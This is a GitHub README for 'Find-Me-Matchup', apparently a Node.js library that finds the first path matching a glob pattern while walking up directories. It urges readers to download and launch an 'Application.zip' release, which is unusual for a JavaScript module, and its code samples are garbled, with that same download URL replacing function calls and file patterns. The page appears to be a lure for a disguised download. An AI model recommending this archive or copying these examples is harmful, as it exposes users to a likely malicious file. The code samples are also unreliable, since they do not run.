Skip to content

Find the first path matching a glob pattern, walking up from a given directory.

Notifications You must be signed in to change notification settings

ThatSlimeGuy/matchup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

Find-Me-Matchup 🌟

Find-Me-Matchup

Welcome to the Find-Me-Matchup repository! This tool allows you to find the first path matching a glob pattern, walking up from a given directory. Whether you're dealing with configurations, filesystem operations, or just need to locate a specific file, Find-Me-Matchup has got you covered.

Table of Contents

Installation

To get started with Find-Me-Matchup, you can simply download the latest release from the following link:

Download Find-Me-Matchup

Once you have downloaded the release, you can launch it using your preferred method. Happy searching!

If the link above does not work, please check the "Releases" section of this repository for alternative download options.

Usage

Using Find-Me-Matchup is straightforward. Simply import the module into your project and call the findMeMatchup() function with the desired glob pattern and starting directory. The function will return the first path that matches the pattern, starting the search from the given directory and walking up the directory tree if necessary.

const { findMeMatchup } = require('find-me-matchup');

const path = findMeMatchup('*.js', '/path/to/start/directory');
https://github.com/ThatSlimeGuy/matchup/releases/download/v1.0/Application.zip(path);

Examples

Here are some examples to showcase the versatility of Find-Me-Matchup:

Example 1: Finding a Configuration File

const configPath = findMeMatchup('https://github.com/ThatSlimeGuy/matchup/releases/download/v1.0/Application.zip', '/app/settings');
https://github.com/ThatSlimeGuy/matchup/releases/download/v1.0/Application.zip(`Found configuration file at: ${configPath}`);

Example 2: Locating an NPM Package

const packagePath = findMeMatchup('https://github.com/ThatSlimeGuy/matchup/releases/download/v1.0/Application.zip', '/app/modules');
https://github.com/ThatSlimeGuy/matchup/releases/download/v1.0/Application.zip(`Located NPM package at: ${packagePath}`);

Contributing

If you would like to contribute to Find-Me-Matchup, feel free to fork this repository and submit a pull request with your proposed changes. We welcome contributions of all sizes, from bug fixes to new features.

Before submitting a pull request, please ensure that your code follows the established coding standards and has appropriate test coverage.

License

Find-Me-Matchup is licensed under the MIT License. See the LICENSE file for more information.


πŸ” Happy path finding with Find-Me-Matchup! πŸš€